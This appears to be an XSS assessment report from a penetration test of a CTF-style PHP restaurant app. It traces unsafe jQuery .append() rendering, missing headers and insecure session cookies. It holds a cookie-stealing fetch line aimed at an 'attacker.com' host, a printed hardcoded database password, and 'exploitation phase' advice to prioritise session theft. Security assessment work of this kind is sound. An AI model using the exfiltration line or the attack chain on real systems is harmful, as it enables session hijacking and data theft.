# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** Two Stored XSS vulnerabilities identified in client-side rendering logic. Both vulnerabilities are NOT externally exploitable because the application provides no API to inject malicious data into the database.  
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence for the identified XSS vulnerabilities. While the vulnerabilities exist in the code, they cannot be exploited by external attackers via HTTP requests to http://localhost:34999.  

## 2. Dominant Vulnerability Patterns

### Pattern 1: Unsafe jQuery .append() with HTML String Concatenation

**Description:** A recurring pattern was observed where client-side JavaScript uses jQuery's `.append()` method with HTML string concatenation instead of safe DOM manipulation methods. Database values are directly embedded into HTML strings without encoding, then parsed as HTML by the browser.

**Locations:**
- `/app/website/index.php` lines 254-264 (restaurant search results rendering)
- `/app/website/profile.php` lines 183-190 (favorite restaurants list rendering)

**Root Cause:** The application separates data retrieval (API returns JSON) from rendering (client-side JavaScript), but the client-side code fails to apply HTML encoding. This creates a defense gap where server-side prepared statements prevent SQL injection but client-side rendering is vulnerable to XSS.

**Technical Details:**
```javascript
// Vulnerable pattern:
resultsContainer.append('<h5>' + untrustedData + '</h5>');

// Safe alternatives:
// Option 1: Use jQuery .text() method
var h5 = $('<h5>').text(untrustedData);
resultsContainer.append(h5);

// Option 2: Server-side encoding
// Apply htmlspecialchars() before JSON encoding in PHP
```

**Implication:** This pattern affects ALL client-side rendering of database content. If additional features are added (e.g., user comments, product reviews), developers are likely to replicate this vulnerable pattern.

**Representative Findings:** XSS-VULN-01 (Restaurant Search), XSS-VULN-02 (Favorites List)

### Pattern 2: Read-Only Reference Data Architecture

**Description:** Both XSS vulnerabilities affect "read-only" reference data (restaurants) that the application does not allow users to modify through any API endpoint. The `restaurants` table is populated only by the database initialization script (`init.sql`).

**Security Implication:** While the XSS vulnerabilities are technically present in the code, they are NOT exploitable by external attackers because:
1. No API endpoints exist to INSERT/UPDATE/DELETE restaurants
2. No admin interface exists to manage restaurant data  
3. Database access is localhost-only (127.0.0.1) inside Docker container
4. SQL injection is properly prevented via prepared statements

**Exploitability:** Requires insider access (direct database connection) or container compromise. NOT exploitable via HTTP requests to http://localhost:34999.

## 3. Strategic Intelligence for Exploitation

### Content Security Policy (CSP) Analysis

**Current CSP:** None  
**Impact:** No CSP header is configured anywhere in the application. If the XSS vulnerabilities were exploitable, inline script execution would be unrestricted.

**Observed HTTP Headers:**
```
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=...; path=/
Content-Type: text/html; charset=UTF-8
```

**Missing Security Headers:**
- `Content-Security-Policy` - Would restrict script execution
- `X-Frame-Options` - Would prevent clickjacking
- `X-Content-Type-Options` - Would prevent MIME sniffing

**Recommendation for Exploitation Phase:** If exploitability were possible, payload execution would be unrestricted. Any JavaScript payload would execute without CSP blocks.

### Cookie Security

**Session Cookie Configuration:**
- **Cookie Name:** PHPSESSID
- **HttpOnly Flag:** NOT SET (JavaScript can access via `document.cookie`)
- **Secure Flag:** NOT SET (transmitted over HTTP)
- **SameSite Flag:** NOT SET (no CSRF protection at cookie level)

**Security Impact:**
- If XSS were exploitable, session cookies could be stolen via `document.cookie`
- Session hijacking would be trivial: `fetch('https://attacker.com/steal?c=' + document.cookie)`

**Code Evidence:** No session configuration found in any PHP file. Application relies on PHP defaults which are all insecure.

**Recommendation for Exploitation Phase:** If XSS exploitation becomes possible (e.g., through future API additions), prioritize session cookie theft as the primary attack vector.

### Database Access Control

**Database User:** web_db_user  
**Password:** P@ssw0rd123! (hardcoded in `/app/website/include/config.php:6`)  
**Privileges:** ALL PRIVILEGES on app_db database  
**Network Access:** localhost (127.0.0.1) only - inside Docker container

**Attack Surface:**
- Database credentials are hardcoded in version control
- If attacker gains file read access, database can be compromised
- Database user has excessive privileges (DROP, CREATE, ALTER)

**Relevance to XSS:** If combined with a Local File Inclusion (LFI) vulnerability or server compromise, attacker could:
1. Read hardcoded credentials from config.php
2. Access database directly (requires localhost access)
3. Inject malicious data into restaurants table
4. Trigger Stored XSS when users search

**Current Exploitability:** NOT externally exploitable - requires container/server access first.

### Transport Security

**Protocol:** HTTP only (no HTTPS)  
**Port:** 34999  
**TLS Configuration:** None

**Impact on XSS Exploitation:**
- If XSS were exploitable, all exfiltrated data (cookies, tokens) would be transmitted in cleartext
- Man-in-the-middle attacks could intercept stolen credentials
- No mixed-content restrictions (can load attacker resources over HTTP)

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses.

| Source (Parameter/Key) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|--------------------------|-------------------------|--------------------------------|----------------|---------|
| `username` | `/profile.php:120` | `htmlspecialchars()` server-side | HTML_BODY | SAFE |
| `email` | `/profile.php:121` | `htmlspecialchars()` server-side | HTML_BODY | SAFE |
| `flag` | `/profile.php:125` | `htmlspecialchars()` server-side | HTML_BODY | SAFE |
| `user_id` | `/profile.php:176` | `htmlspecialchars()` in URL parameter | URL_PARAM | SAFE |
| `user_id` | `/profile.php:215` | `htmlspecialchars()` in JavaScript string | JAVASCRIPT_STRING | SAFE |
| Error messages | All API endpoints | jQuery `.text()` on client-side | HTML_BODY | SAFE |
| Login errors | `/login.php:102` | jQuery `.text()` method | HTML_BODY | SAFE |
| Register errors | `/register.php:107` | jQuery `.text()` method | HTML_BODY | SAFE |
| Password change errors | `/profile.php:223` | jQuery `.text()` method | HTML_BODY | SAFE |

**Pattern Observed:** The application correctly uses `htmlspecialchars()` for all server-side PHP outputs and jQuery `.text()` for all client-side error message displays. The XSS vulnerabilities only affect database content rendered via jQuery `.append()` with HTML string concatenation.

## 5. Analysis Constraints and Blind Spots

### Constraints

**Database Access Limitation:**
- The `restaurants` table is effectively read-only from the application's perspective
- No API endpoints allow modifying restaurant data
- Direct database access required to inject malicious payloads
- External attackers cannot exploit the identified XSS vulnerabilities remotely

**Lack of Admin Interface:**
- Reconnaissance found an admin user (user_id=7, role='ADMIN') but no admin management interface
- Admin role only grants access to view CTF flag, not to manage application data
- Unable to verify if admin features exist but were not discovered

**Static Seed Data:**
- All restaurant data is loaded from `/app/init.sql` database initialization script
- No dynamic data addition observed during testing
- Impossible to test XSS payloads without database modification capability

### Blind Spots

**Potential Future Vulnerabilities:**
- If the application adds API endpoints to manage restaurants in the future, the XSS vulnerabilities would become exploitable
- If user-generated content features are added (comments, reviews), developers may replicate the unsafe jQuery `.append()` pattern
- If file upload functionality is added, attackers might gain file read access to obtain database credentials

**Undiscovered Admin Features:**
- While no admin interface was found, it's possible that admin management features exist on undiscovered routes
- The IDOR vulnerability (`/api/change_password.php`) allows compromising the admin account, which might reveal additional functionality
- Comprehensive route enumeration was not performed

**Container/Infrastructure Access:**
- Analysis focused on HTTP-accessible attack surface only
- Did not assess container escape vulnerabilities or Docker security
- Did not test for other server-side vulnerabilities that could grant database access

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